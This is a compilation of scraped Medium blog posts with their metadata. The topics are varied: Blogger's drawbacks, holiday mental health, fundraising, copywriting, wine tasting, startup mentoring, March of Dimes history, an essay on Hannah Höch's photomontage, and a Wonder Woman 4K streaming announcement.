We can not compare large digital publishers, but still, people who are using Google bloggers are more secured than other hosting providers or CMS systems. Because breaking Google servers is nearly impossible.
Disadvantages of Blogger
Considerably, I always tried my best to make the blogger platform best for blogging purposes but later realized that there are lots of restrictions & a lack of modern features.
Many issues on Google Blogger can be fixed with some basic coding knowledge but we can not make it fully customizable and sometimes it is very difficult to use this platform.
Here are some important disadvantages listed below that make this free hosted blogging platform sick.
1. The comment system is outdated
Actually, I never liked the comment system of Blogger, after the end of the Google+ comment system, the latest system is actually outdated.
The WordPress comment system is far better and very easy to use.
Every visitor has to login to the Google account if they want to left an authorized comment.
There are also other ways to comment but those are not easy to use.
I mean, it doesn't have a simple and more engaging comment system.
2. Permalinks can not be fully customizable
No one can fully edit and customize the URL of the post, you can only modify the phrases after the specific date in the Permalink (URL).
The date and month of published posts will always be available in the article permalink.
You can't eliminate the date from the published article permalink.
3. Lack of Modifications
A self-hosted site has the option to install software such as WordPress to better manage the website, admins can modify the design of their blog just by installing plugins.
Blogspot platform doesn't provide services such as Cpanel, website file management, etc.
On Blogger, you can not do modifications in files and it also lacks many resources.
4. Difficult to Remove pre-installed widgets & Footer Credits
Almost all official themes have permanent footer links with proper credits. It is ok, but as of now, a professional look is important I think.
Manually, a publisher can remove these brandings like "Powered by Blogger".
5. SEO Factors
Search Engine Optimization is one of the most important factors for a site to rank in search engines. With Blogspot's name, you may hurt some SEO efforts.
Also, managing SEO factors and doing Search Engine Optimization stuff on the Blogger platform is quite hard as publishers don't have access to use third-party plugins for better SEO. All things have to be done manually.
Conclusion
There are many webmasters out there on the internet who thinks creating a blog on Blogspot is a waste of time. Actually, they are right but for those who don't have money to invest for a hosted site then starting a blog with this platform is easy. Newbies can grow their blogs by learning many tactics of SEO, content strategies, and digital marketing.
My recommendation is if you are on the free Blogspot blog and can not afford web hosting charges then continue with this, buy a custom domain and use it instead of a Blogspot subdomain.
In the future, if you migrate towards another platform such as WordPress then you won't lose Domain authority, SEO & Page Rank of the domain. | https://medium.com/@amyverma/advantages-disadvantages-of-google-blogger-platform-699016ccaf03 | [] | 2020-12-19 12:05:49.149000+00:00 | ['Blogging', 'Blogger'] |
Devenez rédacteur pour la Société de Visualisation de Données | Sign up for The 'Gale
By Nightingale
Keep up with the latest from Nightingale, the journal of the Data Visualization Society Take a look | https://medium.com/nightingale/devenez-r%C3%A9dacteur-pour-la-soci%C3%A9t%C3%A9-de-visualisation-de-donn%C3%A9es-595e404ecfca | ['Noëlle Rakotondravony'] | 2019-04-13 18:30:52.609000+00:00 | ['Dvsintl', 'Rédaction', 'Data Visualization', 'Dvsintro', 'Writing'] |
’Tis the Season to Prioritize Your Mental Health | The holiday season can be a bit of an emotional paradox. While we’re constantly told to relax, enjoy, and be merry, we’re also somehow expected to manage the whirlwind of stress and pressure that comes with holiday shopping, family gatherings, and finding the time and money to do it all. According to a 2015 survey from Healthline, 44% of people describe the holidays as “somewhat stressful” while 14% say they’re “very stressful.” For people with mental illnesses, this holiday stress can prompt flare-ups of anxiety or depression.
The COVID-19 pandemic adds another dimension to the despair people are feeling, as we cope with grief, loss, isolation, and sadness over all the changes the pandemic brought into our lives this year. In areas with COVID-19 cases rising and lockdowns in place, many are having to face the difficult reality of not being able to gather with loved ones this year. So, how can you navigate “the most wonderful time of the year” when you’re not feeling particularly wonderful? Here are some of our top Dos and Don’ts for taking care of your mental health over the holidays.
Exposing your Expectations
DON’T set your expectations too high! With the emotional weight of 2020 and the COVID-19 restrictions that continue to apply over the holiday season, there’s a good chance your celebrations will feel different this year. Accepting this change but acknowledging your feelings about it might help you cope. If your stress, anxiety, or depression flares up, your priority should be taking care of yourself, not trying to fabricate a cheery, picture-perfect holiday.
DO keep it simple — if things get overwhelming, focus on the little things that bring you joy during this time of year, but also in general! There’s no shame in doing something “non-festive” that will make you feel just a little bit better — whether it’s working out, sticking to your daily routine, or even just taking a break from Christmas music to listen to your favourite album. This advice can also apply to the New Year. If you’re the type that has your heart set on resolutions, setting unrealistic or lofty goals can quickly lead to further stress and anxiety in struggling to live up to them. Being realistic at this time of year can save you lots of anguish!
Fights, Festivities, and Family
DO try to diffuse family conflicts. Holiday family gatherings can come with their own brand of stress and anxiety, even if they’re taking place over Zoom this year. It’s always a good idea to have a strategy to diffuse conflict and tense situations that may arise — whether it’s a personal grievance or polar opposite opinions about current events. Even if emotions are running high, try to recognize that this might not be the time or place to have a difficult conversation. But make sure you actually do address it at a better time. Completely avoiding topics that spark conflict isn’t the way to go — you have to tackle tricky discussions sometimes! If the issue continues to weigh on you during your celebrations, initiating a private, calm conversation can be more practical than letting emotions fester and lead to a big blowup.
DON’T forget to be understanding, with others and yourself! This holiday season will be difficult for many people, including yourself and the loved ones you may be in conflict with. This may be easier said than done, but try to see another person’s point of view and understand why they’re upset, and what else may be going on in their life that can be fueling their anger. You don’t have to reach an agreement, but acknowledging another’s’ feelings can help de-escalate a tense situation. The principle of being understanding also applies to yourself. There’s truly no better time to practice self-love and cut yourself some slack — it’s been a hard year.
Spending Money Over the Holidays
Most of you by now could have bought your Christmas presents. If not, don’t worry I’m sure you’re not the only one. But while we make economic choices regarding gifts, celebrations, etc. this winter break, it’s also equally important to acknowledge the financial situation you may be in since this affects our mental health.
DO know your limits of spending and stick to budgets. The winter holidays are packed with consumerism and it’s easy to get carried away. Set strict budgets and limit your spending even if you’re not used to doing so in the past years. Overspending now could create stress and anxiety for you later when dealing with the aftermath.
DON’T feel disappointed if you’re unable to buy expensive gifts. Taking time to create and assemble meaningful gifts should be equally appreciated by family and friends.
Food and Mental Health
When I think of Christmas, New Year’s or the Winter break, my mind goes to food. Whether it’s learning how to cook or preparing a feast, this is a holiday where food is celebrated and overindulged. So this one’s a tricky topic since the holiday season is also a time where mental health, eating disorders and other body image issues arise. It’s important to highlight some points to keep in mind, whether it’s you or someone close to you feeling the impact of food on their mental health.
DO know what can trigger you in terms of food items and food-related activities (e.g. baking, cooking, drinking etc.). Then be open and talk to your family and friends, or whoever you’re spending the holidays with, about these triggers because it can help them understand what you’re going through and be supportive as required.
DO be mindful of the words, questions and phrases you use with those around you. Just as it’s important to know your triggers, it goes the other way as well.
DON’T ask triggering questions. Check out this important Instagram post that highlights some things you should not say during the holiday season when discussing food.
DON’T take extreme actions like harmful diets to your body. You know your body better than anyone else. It can be easy to get carried away with holiday diets being promoted or even on the flipside overindulging in Christmas/New Year goodies. So enjoy the food in moderation and the break while treating your body with care.
The conversation about the relationship between food and mental health deserves a brighter spotlight but I wanted to take this opportunity to acknowledge what could happen this holiday season and how to navigate difficult situations. I’m not a health expert and if you are going through any mental health issues with food, such as eating disorders here are a few resources: Ontario CMHA, Bustle — Body Image and the Holidays, and Red Cross Self-Care
Social Media
Social media can be overwhelming over the holiday season. This year it can especially prey on the loneliness aspect of mental health if given the power. With social distancing and quarantine becoming a part of our lives during a usually socially active time, we will naturally turn to social media for comfort and to fill the loneliness.
DO close your laptop or phone and completely detox from social media. If that’s the best choice for you then do it fearlessly. Others find it helpful to monitor and limit their social media usage instead of completely removing it from the device. Social media apps and your mobile OS have features to monitor your screen time but there are plenty of other apps out there that can do the trick as well.
DO take advantage of the way social media has enabled quick connections to family and friends across the world. Take some time out of your day to video call, play some games or spread some festive cheer with them to promote safe socialization and reduce loneliness for yourself.
DO use social media in a positive way by following accounts, pages and people promoting a healthy approach to the holiday festivities!
DON’T let social media stress you or create more anxiety regarding FOMO (fear-of-missing-out). There is the possibility of seeing your friends’ social media posts filled with safe and socially distanced holiday activities. If you’re like me with no similar plans, know that it’s ok to prioritise your safety and health in the way you want to without comparing with others. DON’T spend hours scrolling through social media. While social media can provide comfort or distraction, don’t use it as a tool to create more isolation for yourself.
No matter what your plans are this holiday season, we hope you’re able to find some small moments of joy amidst all of the chaos. Remember to take care of yourself — your mental and physical health come first. SMASH wishes you a safe and festive holiday season! We’ll be back with more blog posts in 2021!
By: Tanvi Srivatsa and Annemarie Cutruzzola | https://medium.com/@ryersonsmash/tis-the-season-to-prioritize-your-mental-health-87f616852546 | ['Ryerson Smash'] | 2020-12-19 05:48:56.327000+00:00 | ['Mental Health Awareness', 'Student', 'Holidays', 'Christmas', 'Mental Health'] |
Poinsettia Dreams | The apocalyptic darkness outside aligns with
My blackened soul.
The chilly air brutally cuts through
My breath, and the desiccated earth
Just lies there —
Lamenting burnt foliage. The lake is restless,
Ready to submerge the remnants of
Anything beautiful.
I often dream of that lake, now frozen,
And also of misty hills at the bend of
The freeway,
Twinkling colors on snow,
Trees — some barren, but in others
Leaves braided with light strings
Glowing barks.
Air that smells of vanilla and peppermint
Red Poinsettia warming up
The frosty evening for festivities.
At the end of my dreams, the lake creates
two little pools. Those overflow
as I open my eyes. | https://medium.com/genius-in-a-bottle/poinsettia-dreams-2fa40e3f4d2b | [] | 2020-12-17 21:51:42.972000+00:00 | ['Heartbreak', 'Poetry', 'Dreams', 'Seasons', 'Writing'] |
Fundraising During Coronavirus: Donors Are Staying Close to Home | Already, Coronavirus (COVID-19) is teaching fundraisers about raising money.
How do donors react when the economy is uncertain? As unemployment skyrockets? As the pandemic puts individuals’ physical and mental well-being through the wringer?
The financial effects will continue to linger for months and years. Still, nonprofits have to react at lightning speed. Fundraisers are throwing all different sorts of tactics and strategies against the wall. We’re beginning to see what sticks.
People are giving to their tribes
CauseMatch has analyzed the data from its current live campaigns. The average gift size is twice as large for city-specific organizations. National organizations aren’t eliciting the same size donations as local, city-based nonprofits.
Not only are city-specific organizations receiving larger donations, but they’re also seeing more donors, too. National organizations’ databases are generally bigger than local nonprofits’. Yet, these larger institutions aren’t seeing the great number of donors on whom they rely.
Many of the local fundraisers on the site are institutions of higher learning. Alumni and local residents are donating to the schools that have shaped their character.
Investments in relationships are paying off
Why are city-specific institutions outperforming larger, national campaigns?
We have a couple of reasonable hypotheses.
One: city-specific institutions can lean more heavily on the relationships that they had already formed before the pandemic.
Many donors worry about their own economic futures. If they are going to donate to a cause, they are going to donate to someone they trust. On a personal level.
Now is a time of crisis for many individuals and families. Donors are opening up their hearts and wallets for the specific fundraisers they care about.
Beyond donating to causes they are personally connected to, donors are also willing to be “team fundraisers” and take-on personal fundraising targets to help their favorite nonprofits.
Donors create micro-page as part of the wider organization’s fundraiser and then promote their personal pages to their own network. This approach of peer-to-peer fundraising allows nonprofits to effectively tap into the personal networks and relationships each donor possesses. Rather than the nonprofit asking the community to give, the campaign becomes about the community rallying together to support a cause they all are connected to and care about.
We may be past the age where charities can rely on donations simply because they do good work. Coronavirus has taught us that fundraisers must invest in their relationships with donors when times are good…so they can ask for donations even when times are bad.
A little vulnerability goes a long way
Two, organizations often make the dreaded mistake of asking people to give money… as opposed to asking people to solve a problem.
Donors are much more likely to give when they feel like their money is being used to right a wrong in the world. They want to feel like heroes.
Unfortunately, coronavirus has presented an easy-to-understand problem for donors to solve. But not all organizations are “taking advantage” of this opportunity. Many campaigns we have seen are reluctant to paint their organization as needy. As a result, they don’t adequately put the donor in the position of the hero.
City-specific organizations seem to be finding an easier time in articulating the need. Maybe it’s because the people they are helping are people in the community that everyone knows. Maybe it’s because they are under greater threat of permanent closure. Maybe it’s because they are less protective of their brand.
Whatever the reason, they are doing a better job of giving donors a problem to solve.
(It is true that people want to be part of a winning team; no one wants to jump on a sinking ship. Organizations shouldn’t go too far when crying “woe is me.”
That said, there is an easy balance to walk. Show that:
a) there is a problem to solve, b) donors can solve it, and c) your organization is the right ‘middleman’ to connect the two)
Huge caveat: There is no replacement for emotional intelligence
During this tumultuous time, individuals and families are dealing with their own disruptions.
Between medical issues and unprecedented unemployment numbers… Between kids at home and seniors living in isolation… There are countless ways coronavirus has upended peoples’ lives. These people are your donors. Your donors’ lives are undoubtedly chaotic right now.
Fundraisers need to lead with compassion and empathy. They need to be acutely tone-aware (as opposed to tone-deaf) of the messages they are sending. Both in the form of mass communication and personal conversations.
Fundraisers need to have a higher emotional IQ now more than ever.
Don’t be afraid to ask for donations now. But do so knowing everyone is living under strained and uncertain conditions.
Summary
These insights can improve your GivingTuesdayNow campaign in transformative ways.
Rely on the relationships you have cultivated over the years. In times of crises, you depend on those closest to you. Utilize your major donors, your board, the enthusiasts who love your cause. Think locally, and you’ll create a movement. Reach out to your donors and ask them to join you as a partner in the campaign by being a team fundraiser. Leveraging peer-to-peer fundraising is an especially important aspect of geography specific causes. Nonprofits can learn more about peer-to-peer strategies and best practice by downloading the CauseMatch Peer-To-Peer Strategy Guide here: https://causematch.activetrail.biz/Peer-to-peer-strategy-guide Give donors a specific problem to solve. Tell them what this pandemic has done to your service recipients. It’s OK to be vulnerable! Show empathy. Acknowledge that every individual and family is going through tumult. Ask if donors need their own help. Offer to refer them to the places that can provide support. Both in your written communication and your personal solicitations, you must reflect that you care about your donors’ well-being. They’ll respond in kind.
Happy fundraising! If you have any questions, please feel free to reach us at [email protected] | https://medium.com/cause-match/fundraising-during-coronavirus-donors-are-staying-close-to-home-445f6bfa3023 | ['Joseph Bornstein'] | 2020-04-23 19:11:12.511000+00:00 | ['Nonprofit', 'Fundraising', 'Crowdfunding', 'Giving', 'Donations'] |
Writing A Great Copy | Writing A Great Copy
I know it’s strange but
I like to read my mails in the toilet. It is just easier for me that way. I like to multitask but sometimes it is hard to do that.
Like trying to write my due article while making popcorn or trying to explain “thermodynamics” to my little brother while setting up my FPL for the week.
See multitasking is not easy but in the case of the toilet and my mail.. it’s like stew and rice – goes perfectly well for me.
Now as much as my morning routine is great, the idea doesn’t help with the rest of my day. Why? I am not a good multitasker. I am a semi – perfectionist.
I said “semi” because I won’t cry when I get a B in Intro Physiology ( to me a B in that course is a miracle!). But I like things being topnotch, even my grades. And I like to know the details of everything I am to do.
So I just can’t have a work call in three minutes. Except you are a world class guru in explaining concrete ideas in said time, I’d keep asking questions. I like to know exactly what it is I am to do and when.
I am “detail – oriented”. Yeah I know I sound annoying already but I am. Not in an annoying way though but in a cute nerdy way.
To me details are everything. And it should be to every copywriter.
Details give life to your story. They make your copy original and relatable.
PLUS SIDE
It is hard for copycats to copy personal details like how I threw up at the first sight of snake instead of running. Yes I didn’t get bitten, my mama came to my rescue.
My point is every copywriter should be in love with details. You should be nuts about them if you want to write a great copy.
Personally I am going to read your email to the end if it doesn’t feel like an email.
Even with my friends, I like it when they tell me details. Although some nights I just want to hear “oh I am good and I had a good day”. But most times I want to hear what really happened, good or bad. Knowing the details of their lives make me feel closer to them and them to me.
That’s what your copy should do; draw people.
So make it your mission to fall in love with details. Only then would your subscribers fall in love with you.
PS: FPL means Fantasy Premier League. I am a huge FC Barcelona fan. I pray they won’t be the death of me!
Also I know what thermodynamics is, I just don’t know how to explain anything Chemistry in the spur of the moment.
And thank you Laura Belgray for giving me the inspiration to write this.
Mariam Ekwere | https://medium.com/@mariamekwere/i-know-its-strange-but-i-like-to-read-my-mails-in-the-toilet-c9dc694d69f0 | ['Mariam Ekwere'] | 2020-12-15 12:30:48.016000+00:00 | ['Copywriter', 'Details', 'Articles', 'Writing Tips', 'Copywriting'] |
Tasting the 2018 the other day inspired me to dig in the cellar, and–as promised–here’s one at… | Tasting the 2018 the other day inspired me to dig in the cellar, and–as promised–here’s one at almost 10. It’s actually not as vibrant as anticipated, and possibly at just about peak. Going brick in the glass, it still maintains a ruby core, but headed amber-garnet at the edge. Weedy nectar in the nose, considerably rustic with dense raisin and bruised-plum characteristics along a dark, gritty path shining concentrated and dessert-y. Canned cherries in syrup and dank, murky barnyard make for a gorgeous-smelling wine, but porty and heavily-weighted.
The mouthfeel also reflects something you probably want to pop in the next few years unless you are a sucker for seriously aged–and possibly out-of-balance–wines. The cherry is surprisingly bright, but an acidic–and possibly alcoholic–burn create a bottom-heavy texture that skews things. The rusticity is apparent in the mouth, tasting cellar-floor-ish and almost bretty. Still a heavy, chewy wine, thick with flavor and dense berry–albeit a black, murky, teeth-wiping kind. Tannin is still unforgiving, and the dirty fruit slides down meekly against its solid wall. A rather invigorating briar emerges where the funk and acid meet late-middle, and prods at the structure in a lively manner.
Maybe I’m being too hard on this wine, but the thinness of the fruit over the middle and its overall tiredness bothers me. I could be totally wrong. This thing could emerge as something stupidly good at 15. I have a couple left, and will let you know.
2011 TENUTA SETTE PONTI ‘Crognolo’ Sangio/ME IGT Toscana Italy 14.5
https://www.tenutasetteponti.it/en/
https://www.kobrandwineandspirits.com/portfolio/tenuta_sette_ponti/about | https://medium.com/@zvoiture/tasting-the-2018-the-other-day-inspired-me-to-dig-in-the-cellar-and-as-promised-heres-one-at-c092bfa39bf | ['Stephen Mcconnell'] | 2021-06-08 00:57:27.159000+00:00 | ['Italy', 'Wine', 'Tuscany', 'Wine Tasting', 'Food And Drink'] |
5 essential tips for managing feedback as a startup | Strategy brainstorming with Esha Vatsa, Isobel Wilson and the GroupLadder team
Boom! At Pi Labs we have completed the first month of our seventh programme, in which the Cohort 7 founders accumulated a vast amount of knowledge and feedback. In just five weeks we introduced CRIBZ, Decology, GroupLadder, Pop&Rest, RenterBuyer and TRACK to over 40 reputable mentors and advisors. This diverse group comprised of industry experts, entrepreneurs and investors, who provided the companies with invaluable advice on how to grow their businesses.
Getting feedback on what you’re building is a critical foundational element for developing a successful startup. Through our growth programme, a simple introductory conversation has often been the beginning of some fruitful partnerships and a catalyst for new ideas and accelerated strategic growth. That said, meeting a large number of people and understanding all of their opinions can be intimidating and if not managed properly, can do more harm than good.
Why is that?
Simply put 40 people equates to 40 different opinions, that often contradict each other. It can be hard to determine which one is right because they are all given by experienced professionals, each with solid reasoning.
I thought it was an apt time to share some of my thoughts on how to best utilise the time of your advisors during your journey of building a company.
1. Listen more and talk less.
Mentor meetings are a unique opportunity to get vast amounts of knowledge and experience from industry experts, condensed and distilled for your convenience. Don’t waste that by trying to justify what you’re doing. The best way to escape the trap of trying to rationalise every decision you’ve made is to think of it this way — the people you are speaking to know things you don’t. Knowing these things can be incredibly beneficial to your business, and the purpose of a mentor session is to unlock those valuable insights.
On top of that, by becoming defensive, you run the risk of not showcasing yourself as a leader, which can cost you future opportunities. The ability to accept feedback constructively is something I am personally paying close attention to when I evaluate companies for investment at Pi Labs.
2. Accept there are no right or wrong answers.
We often expect more experienced people than us to have all the answers and tell us precisely ‘this is what you need to do.’ I think this stems from a mentality trained in school, where from day one we are often taught that there is a single version of the truth and we are assessed based on our ability to find the right answer. Like a lot of lessons we learn in school, this does not translate to the real world, yet it is so deeply ingrained in our psyche it’s hard for us to accept there’s no clear answer. Hearing two opposite opinions can often result in frustration.
I would recommend you analyse the different opinions you’ve heard, do further research on them and use that information as one of the inputs in your decision-making process. In the end, it is up to you as the founder of the business to decide how to run it; the rest of us can only give you ideas and our personal experiences.
3. Take notes.
Whatever brilliant advice, useful statistic or even work gossip you absorbed during a meeting, especially in a series of mentor sessions, there’s a high chance you will forget it. I’ve seen it happen over and over again, so I can pretty much guarantee it will happen to you. Even if you remember what was said, you might forget who said it, making it impossible to follow up with them later. I’ve found the best way to manage this is to have more than one person in each meeting — one to speak, one to take notes. Easy.
4. Follow up.
Following up sounds simple, but you would be surprised how many people overlook this critical part of business relationships. Ensure you follow up with everyone you meet. Your contacts dedicate time, energy and effort to help you, so the least you can do in return is say thank you. It’s common courtesy, and if you ever need to reach that person again, you can work from the basis of your professional relationship. A simple email follow up, can pay in dividends in the long run.
5. Don’t spam.
A follow up is essential, however, including someone in your regular communications such as your newsletter, without their consent, is cheeky at best. The best approach is to be transparent and to ask openly if they would like to receive ongoing communication from you. If they don’t, it’s not a sign they don’t like you or they don’t want to stay in touch, but forcing it might guarantee that will become the case.
Finally, it is important to remember that you, the founders, are the people driving the vision forward. You have the best knowledge of your business and you are the ones calling the shots. Your investors and advisors appreciate that, and we trust you with our time and resources to make the best decisions for your company. Use whatever help you can get along the way and make great things happen! | https://medium.com/pi-labs-notes/5-essential-tips-for-managing-feedback-as-a-startup-8afb066ac15d | [] | 2019-06-17 17:05:02.572000+00:00 | ['Startup Lessons', 'Proptech', 'Startup', 'Venture Capital', 'Mentoring'] |
Effective Ways To Conduct Fundraising Events For Ontario March Of Dimes | country conduct various fundraising programs and events to support the people living their lives with different physical disabilities.
Service to others is the rent you pay for your room here on earth. MOHAMMED ALI
How Did Ontario March Of Dimes Start?
Well, in the beginning, the name of this organization was the Canadian Foundation for Poliomyelitis that worked to find a cure for Polio. In 1951, the new name, Ontario March of Dimes was granted. But, it was not the main plot as the main story began in 1949. Mothers of Canada took part in a fundraising program. They used to collect donations to find a proper cure for the deadly poliovirus. They used to visit door to door to collect donations and this is why they are called Marching Mothers. It was the Canadian Foundation for Poliomyelitis that used to get the donation from these mothers. People came forward to help with this charity program.
In 1955, the threat of the deadly virus, polio greatly mitigated as Dr. Jonas Salk created the vaccine for this virus. After that Ontario, March of Dimes made some changes in their objective. They started helping people who had come in contact with this virus. In addition to this, they also focused on rehabilitation. The situation becomes complicated for polio survivors but, the Ontario March Of Dimes provided essential job training to the people who survived. In 1960, there was a major shift in the mandate of this charitable organization. They just extended the reach of their helping arms in order to help more people who were facing problems due to physical disabilities. It does not matter whether the cause was an accident or the poliovirus, they wanted to help everyone.
Expansion Of Ontario March Of Dimes
It was in 2006 when the Ontario March of Dimes planned to expand. They believed that people with physical disabilities living outside Ontario also deserved their services. This is why they registered a new subsidiary body, March of Dimes Canada. The new subsidiary body offered the same services that the Ontario March of Dimes had been providing since 1960. But, the March of Dimes Canada worked throughout the country.
The Ontario March of Dimes had four subsidiary bodies that are Ontario March of Dimes Non-Profit Housing Corporation, March of Dimes Canada, Rehabilitation Foundation for Disabled Person Inc., and OMOD Independence Non-Profit Corporation. In 2013, the Ontario March of Dimes got its national recognition and it became March of Dimes Canada under the new Non-Profit Corporations Act. The March of Dimes Canada wants people having physical disabilities to live an independent life. They help these people so that they can fully participate in the community.
March Of Dimes Event
The March of Dimes Canada organizes various fundraising events, community events, and sporting events to raise funds for these needy people. In the case of fundraising events, the fundraisers organize different types of fundraising campaigns such as Walk ’n’ Roll, Stand Up for CE, Ability and Beyond Dinner, and many more. The sporting events are very enjoyable. Here, the athletes across the country join the events to play dodgeball or volleyball tournaments. The fund that is raised through these sporting events is used to help people with disabilities. Apart from these, the March of Dimes Canada also hosts various community events that allow people with disabilities to use tools, resources, and many more. It builds a sense of confidence among them and ultimately, it boosts the self-esteem of these people.
How You Can Help
Well, as an individual, you can also help this organization. There are many organizations arranging fundraising campaign to help these people. Considering the present pandemic situation, they are now going with online charity crowdfunding sites. We at Werbylo believe that a fundraising campaign cannot be successful without a good fundraising idea. This is why we have added some ideas for the online fundraising campaign.
Host Online Concert
Well, if you are an artist, this fundraising idea will be ideal for you. As a fundraiser, you can organize an online concert and the viewers will make a donation to join the concert. Well, you can use online fundraising sites to make this concert more successful. You will receive donations through these platforms online.
Online Teaching Program
Well, if you are a teacher, you can start your own online teaching program. You can ask the learners for making a donation. Well, you will have to mention the main cause of your teaching program.
Read More | https://medium.com/@werbylo/effective-ways-to-conduct-fundraising-events-for-ontario-march-of-dimes-8bb0bfd84093 | [] | 2020-12-25 00:44:30.763000+00:00 | ['Fundraising', 'Charitycrowdfundingsites', 'Charity'] |
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In 1889, on November 1 in Gotha, Germany Anna Therese Johanne Hoch, who later would be known as Hannah Hoch was born. Being the eldest of five children, the girl was brought up in a comfortable and quiet environment of the small town. Her parents, a supervisor in an insurance company and an amateur painter sent her to Girl’s High school. However, at the age of 15 Hannah had to quit studying for the long six years to take care of her newborn sister. Only in 1912 she continued her education with Harold Bengen in School of Applied Arts, mastering glass design. As the World War I broke up Hannah returned to the native town to work in the Red Cross.
The first years after war the young woman recommenced her studying, getting to know graphic arts. 1915 was highlighted by an acquaintance with an Austrian artist Raoul Hausmann, which grew into the long-lasting romantic relationship and involvement in Berlin Dada movement. For ten years till 1926 Hoch worked in Berlin’s major publisher of newspapers and magazines. Her task was to design embroidering, knitting and crocheting patterns for the booklets.
Being on vacation with her beloved in 1918, Hannah discovered ‘the principle of photomontage in cut-and-paste images that soldiers sent to their families’ (National gallery of Art). This find affected greatly on her artistic production, and she created mass-media photographs comprising the elements of photomontage and handwork patterns, thus combining traditional and modern culture. Her prior preoccupation was to represent the ‘new woman’ of the Weimar Republic with new social role and given freedoms.
Hoch was the only woman in Berlin Dada, who took part in all kinds of events and exhibitions showcasing her socially critical works of art. Till 1931 she participated in exhibitions but with the rise of National Social regime was forbidden to present her creative work. Till her last breath in 1978 Hannah Hoch lived and worked in the outskirts of Berlin-Heiligensee.
The piece of art which is going to be analyzed in this research is ‘The beautiful girl’ designed in 1919–1920. It combines the elements of technology and females. In the middle of the picture one can clearly see a woman dressed in a modern bathing suit with a light bulb on her head which probably serves as a sun umbrella. In the background a large advertisement with a woman’s hair-do on top is presented. Maud Lavin describes strange human as ‘she is part human, part machine, part commodity’ (Lavin). The woman is surrounded by the images of industrialization as tires, gears, signals and BMW logos. A woman’s profile with the cat eyes, untrusting and skeptical, in the upper right corner is eye-catching as well. This unusually large eye symbolizes DADA movement — a monocle, which is present in almost every Hoch’s work. The colour scheme does not offer rich palette of tints, including mostly black, white, orange and red pieces. The photo is surrounded by the BMW circles which add the spots of blue.
An apt description of the piece is given in the book ‘Cut with the Kitchen Knife’ and states that it is ‘a portrait of a modern woman defined by signs of femininity, technology, media and advertising’ (Lavin). In other words Hannah Hoch focused on the woman of the new age, free and keeping up with the fast-moving world. The artist promoted feministic ideas and from her point of view urbanization and modern technologies were meant to give hope to woman to gain equality of genders. With this photomontage she commented on how the woman was expected to combine the role of a wife and mother with the role of a worker in the industrialized world. The light bulb instead of a face shows that women were perceived as unthinking machines which do not question their position and can be turned on or off at any time at man’s will. But at the same time they were to remain attractive to satisfy men’s needs. The watch is viewed as the representation of how quickly women are to adapt to the changes.
In a nutshell, Hoch concentrated on two opposite visions of the modern woman: the one from the television screens — smoking, working, wearing sexy clothes, voting and the real one who remained being a housewife.
The beautiful girl’ is an example of the art within the DADA movement. An artistic and literal current began in 1916 as the reaction to World War I and spread throughout Northern America and Europe. Every single convention was challenged and bourgeois society was scandalized. The Dadaists stated that over-valuing conformity, classism and nationalism among modern cultures led to horrors of the World War I. In other words, they rejected logic and reason and turned to irrationality, chaos and nonsense. The first DADA international Fair was organized in Berlin in 1920 exposing a shocking discontentment with military and German nationalism (Dada. A five minute history).
Hannah Hoch was introduced to the world of DADA by Raoul Hausman who together with Kurt Schwitters, Piet Mondrian and Hans Richter was one of the influential artists in the movement. Hoch became the only German woman who referred to DADA. She managed to follow the general Dadaist aesthetic, but at the same time she surely and steadily incorporated a feminist philosophy. Her aim was to submit female equality within the canvass of other DADA’s conceptions.
Though Hannah Hoch officially was a member of the movement, she never became the true one, because men saw her only as ‘a charming and gifted amateur artist’ (Lavin). Hans Richter, an unofficial spokesperson shared his opinion about the only woman in their community in the following words: ‘the girl who produced sandwiches, beer and coffee on a limited budget’ forgetting that she was among the few members with stable income.
In spite of the gender oppressions, Hannah’s desire to convey her idea was never weakened. Difficulties only strengthened her and made her an outstanding artist. A note with these return words was found among her possessions: ‘None of these men were satisfied with just an ordinary woman. But neither were they included to abandon the (conventional) male/masculine morality toward the woman. Enlightened by Freud, in protest against the older generation. . . they all desired this ‘New Woman’ and her groundbreaking will to freedom. But — they more or less brutally rejected the notion that they, too, had to adopt new attitudes. . . This led to these truly Strinbergian dramas that typified the private lives of these men’ (Maloney).
Hoch’s technique was characterized by fusing male and female parts of the body or bodies of females from different epochs — a ‘traditional’ woman and ‘modern’, liberated and free of sexual stereotypes one. What’s more, combining male and female parts, the female ones were always more distinctive and vibrant, while the male ones took their place in the background. Hannah created unique works of art experimenting with paintings, collages, graphic and photography. Her women were made from bits and pieces from dolls, mannequins of brides or children as these members of the society were not considered as valuable.
Today Hannah Hoch is most associated with her famous photomontage ‘Cut with the kitchen knife DADA through the last Weimer Beer-Belly Cultural epoch of Germany’ (1919–1920). This piece of art highlights social confusion during the era of Weimar Republic, oppositionists and government radicals (Grabner). In spite of never being truly accepted by the rest of her society, this woman with a quiet voice managed to speak out loud her feministic message.
Looking at Hannah Hoch’s art for the first time I found it confusing, because couldn’t comprehend the meaning. It was quite obvious that every single piece and structure is a symbol of the era, its ideas and beliefs. However, after having learned about her life and constant endeavors to declare about female’s right, little by little I started to realize what’s what. As an object for research I chose ‘The beautiful girl’ as, to my mind, its theme and message intersects with the modern tendency: a successful, clever, beautiful and free woman has to become one in no time, cause the world is moving faster and faster. I enjoyed working with this artist as her example is inspiring and is worth following | https://medium.com/@triediclik/hd-%E5%BF%83%E7%81%B5%E5%A5%87%E6%97%85-2020-%E5%AE%8C%E6%95%B4%E7%89%88-%E5%9C%A8%E7%BA%BF%E5%85%8D%E8%B4%B9-zh-en-4k-e9a54168663b | ['Trie Diclik'] | 2020-12-21 15:08:07.779000+00:00 | ['Animation', '2020', 'Soul', 'China', 'Full Version'] |
Mariposa | Share your own one-line poem (16 to 30 words) or a Chalkboard Espresso (1 to 15 words) on the theme. Tag your piece in response to this post piece and tag your piece “One Line” or “Chalkboard Espresso” as appropriate. If you have a stand-alone poem, be sure to leave a link in the response section below. | https://medium.com/chalkboard/mariposa-a26a9e409aa1 | ['Anna Rozwadowska'] | 2020-12-18 00:43:31.103000+00:00 | ['Poetry', 'Time', 'Writing Prompts', 'One Line', 'Poetry On Medium'] |
‘Wonder Woman 1984’ will be HBO Max’s first 4K title | When we first heard that the new Wonder Woman movie would arrive Christmas Day both on HBO Max and in theaters, our excitement was tinged with disappointment. Why? Because HBO Max is one of the only major streaming video services that doesn’t support 4K playback.
Well, get ready to be happy, because it turns out that those of us watching Wonder Woman 1984 at home will get to stream it in 4K after all.
Wonder Woman director Patty Jenkins announced on Twitter that the long-delayed Wonder Woman 1984 will arrive on HBO Max as the service’s first 4K HDR title, complete with Dolby Vision, HDR10+, and Dolby Atmos support.
